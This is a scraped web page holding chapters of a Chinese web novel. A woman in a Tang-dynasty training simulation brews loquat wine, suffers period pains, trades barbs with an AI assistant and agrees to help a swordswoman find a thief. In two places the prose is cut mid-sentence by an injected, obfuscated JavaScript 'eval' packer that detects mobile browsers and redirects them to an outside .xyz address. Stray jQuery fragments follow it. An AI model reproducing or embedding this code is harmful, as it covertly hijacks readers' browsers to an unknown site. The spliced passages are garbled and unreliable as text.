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但坏心眼儿的白女郎只将上一卷,也就是提出问题的那一卷书送给了对方,若是想要知道答案,可不就要来寻求白夫子的解答吗。 到时候又可以炫耀一番自己那渊博的学识了。 白果看着对方那道蹦蹦跳跳的背影,一时生出几分惆怅。 若这个世界不是游戏就好了,若明珠能生活在现代就好了,若不会有安史之乱就好了……可惜哪有那么多的如果。 历史带有一定必然性,不会因为某个人而发生改变。 脑海里又浮现出各种杂七杂八的想法,也不知怎么的,最近总觉得消极疲惫,提不起精神气。 【Tea:根据学员您目前的身体状态,以及您在入职时填写具体信息综合考虑,您的经期就在后天。】 怪不得,原来是要来生理期了……不对,为什么要在这种地方做得那么真实? 【Tea:本培训一比一贴近真实生活,在身体不适情况下上课、备课同样也是学员需要考虑到的事情。】 完全没有心思犟嘴的学员使劲儿揉了揉疲惫的肩颈,上班还不到一个月,就已经感觉有些熬不住了。 生理期那周要怎么熬过去都不敢想。 俯身将地上满满一袋的枇杷捡起,挑挑拣拣扔出几个有些虫洞的坏果子,她用衣袖稍微擦了擦,小心咬开其中一个。 不错,现在已经不酸了。 虽说还没完全成熟,但也差不多。 早在系统商城兑换好了冰糖和白酒,连埋酒的坑都已预备齐全。 人在烦躁时就喜欢做些杂事,身子不闲着,脑袋就可以放空,短暂逃避一会儿琐碎的现实。 又挑了颗青枇杷,白果头也不回地扔向趴在围墙上的好邻居。 听得吃痛一声,竟然没接住。 果然,好邻居开始了抱怨:“今日特意来拜访女郎,不曾想竟遭如此厚待。” 谁家拜访是直接翻墙进啊。 白果懒得说什么,低头继续挑捡布袋中的枇杷,身后那人凑了过来,盯着她一直不停歇的动作,想要开口说话又被一记眼刀制止。 若无其事地摸了摸鼻子,虽然不知自己又犯了什么错,但显然,这时保持沉默是最好的选择。 就这样,像是只跟屁虫般一直溜达在白果身后,还不忘摇着折扇替她驱赶些小蝇虫。 这些小动作丝毫没有打搅她的好兴致, 从井口打出一桶清凉井水,将枇杷浸泡水中,用指腹轻轻搓去浮毛,重复两三次后捞出。 接着将果实摊于纸上阴干,此时可以用擀面棍将冰糖碾碎,一层糖霜一层枇杷,如此层叠铺就。最后倒上适量白酒,用红绳缠紧瓶口,覆上几层油纸,埋于小院墙根处。 大功告成,现在只需足够时间等待就好。 看向身旁眼巴巴摇着扇子的好邻居,白果抿了口清水,轻声道:“放心吧,自然少不了你的。” 扇子摇得更勤快,简直是把长安所有的风都捉了过来。 “不过嘛——”话锋一转,她伸出手道:“我反悔了,现在告诉我该如何认错吧。” 陆象先十分自觉的将折扇放在她手中,微微眯起眼睛,轻笑道: “定非如此这般。” 如此理直气壮的模样。 26. 第 26 章 作为贺知章的好友,陆象先平日里经常调侃道: “贺兄言论调态,可谓风流之士。吾与子弟离阔,都不思人,一日不见贺兄,则鄙吝生矣。”[1] 足以见得两人关系之深厚,据说可能还有那么一丝血缘关系,但不知真假。 他当然懂得该如何消解对方的脾气。 虽说两人交往许久,但几乎没见过双方动怒的模样。毕竟入了官场,所有喜怒哀乐都要藏在心底,不足为外人道也。 若是表现出来,就会变为日后他人抨击自己的利刃。 由此可见白女郎的本事之大,让好脾气的贺监丞都忍不住破功,怒气冲冲的样子让陆象先都不免退避三舍,以免殃及鱼池,把他这条无辜的小鱼也牵扯进去。 要说这方法,自然是有的。 只不过要看白女郎究竟想以哪种方式来赔罪了。 听他这么一说,白果被勾起几分好奇。 饶有兴致地问道:“大致有哪几种,说明白些。” 陆象先微微一笑,弯腰附在她耳边低声说了几句,白果的双眼随着他的话慢慢瞪大,像是听见了非常不可置信的东西。 拽着陆象先的袖子,让他暂且无法抽身,又确认了一遍:“当真没骗我?” “未曾。” 他说得肯定,语气也颇为真诚,只是那双略微上挑的眉眼让人觉得他像在撒谎。 矛盾感十足的陆录事。 本来还有些纠结的白果犹豫两秒,最终选择相信对方。 这回轮到陆象先伸出手,他也同样理直气壮道: “枇杷酒,须送我两壶。” “不是说不要报酬,怎得突然变卦?” 笑眯眯的陆狐狸轻指向被白果抢去的折扇,道:“用此扇换一壶,如何?” “可。” 还以为他没有注意到自己白嫖扇子的举动,这招顺手牵羊还是不够熟练。 两人在小院内闲聊片刻,共同观赏空中繁星,听闻树梢上不知名夜莺鸣啼,凉风习习,感到几分久违安逸。 便是再不解风情的人也会陶醉于此时。 白果撑着下巴望向天空,忽然莫名生出些遗憾。 在这破落小院中,她如同一只井底蛙,明明想象中的大唐是如此富丽堂皇、辉煌奢靡,一呼一吸间,是数不清的烛火高挂,源自世界各地的乐曲与歌舞,徜徉在似梦般的繁花之中,高举着葡萄美酒,将明月入杯,洒脱抒怀。 像是所有人幻想中的那般,要肆意潇洒,要来去自如,要似清风……站在重重亭台楼阁之间,翻手为云,覆手为雨。 想象总是带有过度美化的色彩,就如同「巴黎病」,在真正踏上这片土地后,所有的一切都会被打破,成为幻影。 长安很好,非常好,但又没有那么好。 那些更好的也不是不能看见,但需要钱,很多很多钱。 可她并非是位高权重的上层,也不是没有看过更大世界的古代平民百姓,卡在这样一个不尴不尬的位置,心脏就好像是被痒痒挠轻轻划过,不大舒服。 「我本应该得到更多」 本来这些阴暗想法还只是潜于水底的海草,打破湖面平静的应是那次宴会——平康坊,由李邕邀请的那场酒宴。 若是不曾见过那些纸醉金迷的场景,倒也不会有什么太大的触动,毕竟作为畅想过“皇帝锄地都用金锄头”的普通人,对上层阶级的奢靡生活并没有太大概念,只是会有些羡慕。 可偏偏她看见了,还混入其中切实享受到了金钱带来的超高待遇。 水面迎来一场无声的暴风雨,将所有阴暗和忮忌都暴露出来,可以全部推脱给人类自身的劣根性,这样掩耳盗铃也没什么用,顶多求个心安。 钱,多么伟大又低俗的存在。 白果用指尖不时缠绕着一缕头发,她不敢正视自己的欲望,又殷切期盼得到些什么,这样来回拉扯的理智让人难以招架。 “女郎因何事蹙眉?” “今夜无月。” 仅此而已。 【Tea:根据天气预报,最近一周的夜晚都不会出现月亮】 月亮被乌云遮盖大半,只留下点点繁星,更夫敲着竹梆子,喊叫声从街道传来,预示着今夜平安无事,随着星光散落,这极为平常一日也要慢慢过去。 直至次日清晨,依旧没有光照,那夜里的乌云还未散去,整片大陆都被笼罩在灰暗之中,空气里也混杂些潮湿气息。 时间再过上一会儿,果不其然,又下雨了。 这几日是寒食节,休假三日,再过上两天又是清明假。 可惜近几日天气不大好,估计会持续几天小雨,出门倒不是很困难,只是可惜了难得的假期。 听着细雨落在屋顶瓦片的清脆声响,白果正缩成一团窝在被褥里,小腹时不时的阵痛让人难以忽略。 “靠……为什么搞得这么真实。” 她死死咬着下唇,又忍不住在心中骂出声,什么难听的脏话都过了一遍。 白果没忍住质问一句:“除了女性学员,你们有没有给男性学员增加类似的。” 【Tea:很抱歉,按照人体正常生理机能,并没有在男性学员身上增加此设定】 哈,那还真是公平。 【Tea:如果学员您对培训中此项设定有任何不适,可以向系统提议,之后会根据您的建议对培训部分问题进行调整】 白果把头探了出来,沾着汗水的长发粘在脸颊和脖颈处,完全不可忽视的怪异感受。完全没了平日里那副活力,显得很脆弱。 她沉默许久,就在智能AI以为学员要向系统提交数十份提案建议时,听得她愤愤不平道: “那我可以提议让每个男性学员都长痔疮吗!” 【Tea:……?】 越说越兴奋,白果直接从床上爬起来,眼睛很亮,全是藏不住的坏心思,继续说道:“就像生理期一样,每个月痔疮发作一次,一周才可完全康复。配套使用的马应龙痔疮膏价格需和卫生巾相一致,并且每隔三个小时需再次使用一次。” 非常天才的想法,让智能AI的数据库疯狂旋转。 【Tea:很独特的观点,已为您提交上传至主系统,约三天后得到具体回复】 不小心牵扯到肚子的学员又蔫哒哒坐回床上,她现在连热水都喝不了。懒得烧水是其中一个原因,更是因为寒食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735586|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节内严禁生火,被抓到可是要蹲大牢的。 【Tea:由于本次情况特殊,已为您提供热水。并且在您月经期间内,所有卫生巾消耗和止疼片均为免费使用,请放心】 啧,还算有点儿良心的公司。 把自己包裹在被褥里,捧着一杯还飘散着热气的开水,暖意顺着指尖传递至全身,很舒适。 向杯子吹了几口气,微微抿一口, 嘶,好烫。 看来现在还不能喝呢。 白果伸长胳膊把窗户撑开一些,带着雨雾的凉风让人忍不住打个寒颤,她裹紧身上的被褥,就这么呆坐在窗前观雨。 所谓古人十大雅事:抚琴、品茗、对弈、听雨、焚香、候月、莳花、酌酒、读书、寻幽。 耳旁传来好邻居抚琴的泛泛弦音,在雨声细碎中显得格外空灵,像是从天际传来的靡靡之音。坊内寺庙敲响晨钟,与所有声音都融为一体,浑然天成般美妙。 几滴雨珠落在窗檐边的几盆苔藓上,翠绿的盆栽开出点儿白色的小花,在此时小心翼翼绽放。 是苔花。 因为最近天气比较潮湿,所以苔花也悄悄开了吗? 杯中热水还飘着几缕白烟,芸芸绕绕,为动态画面中添加一抹飘然的静谧,悠悠然的模样。 好幸福啊,即便身体依旧不适,但可以感受到如此细微美好的事物,真是很幸福的一刻。 白果吃下止痛片,舒缓片刻后又静坐许久。 她舍不得眨眼,想要贪婪得把这时的一草一木、一粒尘埃、一次绵长的呼吸都记录在脑海中,是可以放在「人为了什么而活」文件夹中的重要存在。 喝下最后两口温水,伸手接住从屋檐滴落的一滴雨,随意开口问道: “如果你成为了人类,最想干的事情是什么呢?” 【Tea:如您此时所做,感受自然赋予人类的所有感知,并永远对这个世界充满热枕】 白果若有所思点点头,她对这个回答并不感到意外,并由衷祝福它, “如果每个人类都可以向你所说的生活……那世界会变成怎样呢?” 对于精神世界的过度探讨总会引起一些生理不适,白果不是喜欢自虐的人,所以她会刻意去避免思考这些问题。 逃避虽可耻但有用。 止疼片在慢慢发挥功效,手脚也渐渐恢复了原有的温度,坏情绪来得快消失得也快,若直白点儿评价,白果简直就是个没心没肺的大人。 但她这样活着蛮开心的。 从枕头底下拿出昨天夜里只写完一半的教案,当学生要偷偷补作业,当了老师还是要偷偷补作业。 白果用五颜六色的水笔工工整整书写着教学设计,现在可不能再偷懒了,根据陆象先提供的哄好贺导师三十六计。 其中,第一计——吃软不吃硬。 只是这第二计就变成了,软硬皆施。 希望他说的谋略有用吧。 …… 贴心的智能AI替学员蓄满了水,并且把水温控制在刚好能入口的温度。 如果它成了人类,想要结交的第一个好友应当是学员她。 那将会很有趣,不是吗? 27. 第 27 章 若是说这个世界上还有比痛经更痛苦的事情,那便是一边很痛,一边赶着不知所以的作业。 教案、听课记录、教学反思…… 这种完全没有用处的东西为什么会出现在世界上,明明它们最终的归宿都像是暑假作业一样,成为五毛钱一斤卖废品。 【Tea:请学员端正学习态度,雇佣童工本就不可取,让儿童来帮您写教案这种行为就更为恶劣不可取了】 半躺在床上,悠哉悠哉摇着蒲扇的学员挥挥手,掐着嗓子故作姿态道:“特殊情况啦,谁叫你们培训搞得这么真实,如果我因为用功过度而晕倒,那就是本末倒置了~” 因为用功过度而运动……简直是年度最佳笑话。 整个房间里最用功的,分明就是她雇佣的童工——季明珠吧! 【Tea:请放心,国子监已为每位员工都配备好了人生意外保险,还有一个问题,您刚刚所说的话是否为「冷笑话」,在数据库中搜索相关词条后显示为「无稽之谈」】 感觉又被AI嘲讽了。 白果撇撇嘴,她慢条斯理地拨开一颗枇杷,然后笑眯眯塞进了季明珠的口中,关切询问道:“手写得累不累,如果累了就先休息休息吧,你已经快写了半个时辰。” 奋笔疾书的明珠头也不抬,张口吞下枇杷,接着胡乱嚼了嚼,连个味道还没尝出来就已经吞了进去。 “哎!等等!核!枇杷的核!” “我嚼碎吞进肚子里去了,白女郎,不要再打扰我了。” 明珠皱起小小的眉头,也不知她向谁学的,一副小大人的做派。说完这话后再次握起彩笔,在纸张上写写画画,认真极了。 这种费时费心的东西也只有小孩子会感兴趣了。 直到这时,智能AI才发现季明珠并没有帮忙写教案,而是拿着厚厚一本《秘密花园》在填色。 智能助手并非无时无刻都在监管着测试学员,人类是需要一定隐私的,若是不考虑这最为重要的一点,那么这个软件公司估计会在发售后一周内就遭遇无数差评,还会被控诉侵犯人权之类的。 一般在非办公区域,学员可以自行选择是否开启智能助手,如若选择关闭,那将会只有主系统开放最基本的权限,也是为了警醒学员不要试图去挑战那些违法乱纪的行为。 不过白果嘛,虽然嘴上说着要举报小Tea,但平日里都给予它最大的权限,除非为了犯一下贱,就比如现在。 她仰着下巴,眼睛里全是狡黠的笑意,反问:“现在呢,可以向我这个正人君子道歉了吗,小Tea?” 【Tea:已自动关机,等待重启中】 哼哼,人类大战AI的第23次胜利! 白果叉腰发出了反派笑声,然后因不小心拉扯到肚子而扶着墙后撤几步,嘴角笑容也僵硬几分。 得意忘形的小人模样简直被她刻画的淋漓尽致。 房梁上传来一阵丁零当啷的声响,下一秒,一位稀客掉在窗檐下的青石板上,灰头土脸的,头上还有几根鹅毛。 是自从上次酒宴后就许久未见的郝女侠。 她站直身子,脸上青一块紫一块的,却依旧像是个没事人般朝屋内一大一小打了个招呼,接着神神秘秘地压低声音,附在窗边问:“有没有兴趣知道一个惊天大秘密?” 预想中的场景并没有出现,眼前窗户被人无情合上,郝闰碰了一鼻子灰。 她敲了敲窗檐,依旧不死心,“情报保真,真的不打算听一听吗?!” 屋内,季明珠朝白果摇摇头, 将食指附在唇边,“嘘,阿娘说过,整个长安城里最不靠谱的就是郝女侠了,如果听见郝女侠说有什么秘密,那一定要离得远远的——” 话还未说完,就见白女郎指了指后边。 季明珠扭头看去,刚刚还在外面的郝女侠已经神不知鬼不觉地进了屋,并且双手抱臂在前,就这么静静听着她的话,那咧开的嘴角里似乎充满了杀气。 !天,自己会不会被郝女侠杀人灭口!! 小孩儿一溜烟儿躲在了白果身后,怯怯探出个小脑袋,颇有些不好意思地道歉:“我刚刚……不是有意要那么说的。” “无事无事,反正你这么个奶娃娃也没什么用。”郝闰很大方的原谅了对方,接着果断拎起季明珠扔了出去,她关严门窗,还不忘对外面生闷气的小孩儿威胁一句:“再不走就真的要把你扔去喂鹅了!” 呜呜呜,阿娘说得果然没错, 郝女侠就是整个长安城最坏、最会欺负小孩子的坏人。 季明珠抱着厚厚一本画册,恋恋不舍地离开了白女郎的院子。走之前碰巧瞧见了邻院正晒着太阳的陆象先,她憋着哭意敲门, 等到陆象先打开门,低头一瞧, 泪眼汪汪的稚童拽了拽他的衣袖,可怜巴巴求助道:“白女郎被郝女侠抓走喂鹅了,我们要去救她!” 听完这话后,陆象先本来悠然自得的微笑僵住。 先等等,总感觉这两人的名字合在一起时会发生什么不好的事情。 事实证明,他的想法完全没有错。 阴暗的小屋内,两个不省心的家伙凑到一起,白果抓出一大把西瓜子,整个人聚精会神地听着。可以这么说,她在国子监所观摩的每一节公开课都没有这么认真地听过。 郝闰除去武功高超,讲故事也是一把好手,本来不算有趣的故事被她讲得那叫一个精彩纷呈,还很擅长使用春秋笔法,个人主观色彩倒是蛮浓烈的。 最后大致总结一下就是这么个故事: 据说当朝宰相,也就是张说张相公。他手里有一颗名为记事珠,珠子是深青带红的绀色,表面光滑且富有光泽。只需将珠子在手上把玩片刻便会感到心神宁静,回忆起自己所遗忘的事情,包括整件事的所有细节,并且一旦记起就再也不会忘记。 如此神秘的记事珠自然引得许多盗贼关顾,不过时隔这么多年也依旧没有得手的消息。直到最近,张相公府内库房突然走水,仆人们清点物品后惊讶地发现——除去一个木匣子外再无其它损失。 得知此事的张相公勃然大怒,动用许多关系来调查。最后查来查去,这飞天大盗和火烧库房的罪名就直接落在了郝闰身上。 据说当时有许多目击者看见了一个鬼魅般的身影闪过,不过速度太快,根本看不清毛贼的具体长相。 但要说起长安城内武力值最高,最喜欢“借东西”的人还有谁? 自然只有郝女侠了。 “我是眼馋那记事珠不假,但这么明目张胆留下证据的傻事怎么可能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735587|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得出来!”郝闰从白果怀里抓了一把西瓜子,皱着眉愤愤不平继续控诉:“如果是我的话,那定要先装成小厮仆役混进去,潜伏十天半个月之后再买通其他关系调岗,接着——” 眼瞅着郝闰就要说出详密作案计划,白果吐出瓜子皮,面无表情回了句:“继续说吧,我等会儿就去大理寺揭发你的罪行,刚刚那就是你的作案流程。” 郝闰也冷哼一声,她挥了挥沙包大的拳头,不甘示弱。 “那就要看白女郎能不能活着走出这扇门了。” 两人目光对视,火药味十足。 门口偷听的季明珠瞪大了眼睛,她使劲儿拽着陆象先的胳膊,快,快进去救救白女郎啊! 可惜陆象先不为所动,反而慢悠悠摇着折扇,劝道:“莫急莫急。” 莫急你个大头鬼啊!分明是个大磨叽! 怎么办怎么办,她已经想象到里面会发生的血腥场景,白女郎倒在血泊中,而恐怖邪恶的大反派郝女侠则是叉腰大笑,说着要把白女郎喂鹅这样的话。 季明珠打了个寒颤,她用力把门一推,紧张地闭上眼,带着视死如归的勇气和热血大声喊道: “白女郎别怕,我来救你了!!!” 接着像是个小炮仗一样冲了进去,解没解救不知道,自己倒是撞在了桌柜上,额头通红通红,眼睛里瞬间噙满泪水,看起来倒霉极了。 出师未捷身先死不过如此。 屋内两人看着季明珠晕头转向忙乎一通,最后呆呆坐在地上抹眼泪的画面都有些不知所措,手中的西瓜子都掉在地上了。 只有纵观全局的陆象先继续摇着折扇,慢悠悠给了句评语:“这约莫就是关心则乱吧。” 季明珠一边哭着一边还不忘反怼一句,“你不说话没人当你是哑巴。” 啧,这小孩儿跟白果待久了也变得伶牙俐齿起来。 陆象先无奈叹口气。 …… 混乱的局面稳定下来, 郝闰清清嗓子,终于说出了此行的真正目的。 “我想恳请白女郎同我一起抓到真正的盗贼。” “等等。”白果指着自己,“你是说我吗?” 她虽然很喜欢侦探悬疑小说,但不意味着现实里也可以充当侦探的角色。以她这种脑子,第一个被刀的就是她。 下意识想要拒绝,可郝闰先一步堵住她想说的话,凑在耳边小声说:“张相公给我一个七曜(一周)的时间,如果找不到就要被立刻关押至大理寺。” “白女郎——” 郝闰皱起脸,可怜巴巴的模样,“思来想去,我的所有好友中就只有你可以帮我了——” 【系统:是否接受好友[郝闰]的请求,如若接受,将为您展开游侠支线剧情,并开启学生[卢伽恩力]心理健康线】 哦?竟然还有这样的意外收获吗? 白果口中的话转了个弯,她点点头, “可以,我帮你。” 郝女侠还未来得及高兴,那白女郎将身上的瓜子皮抖落,伸出手,挑眉道:“报酬平分,我相信张相公和郝女侠你的交易可不止如此吧。” 气氛停滞几秒,听得郝女侠爽朗的笑声,她果断应下了: “不愧是我郝闰的好友,成交,五五分。”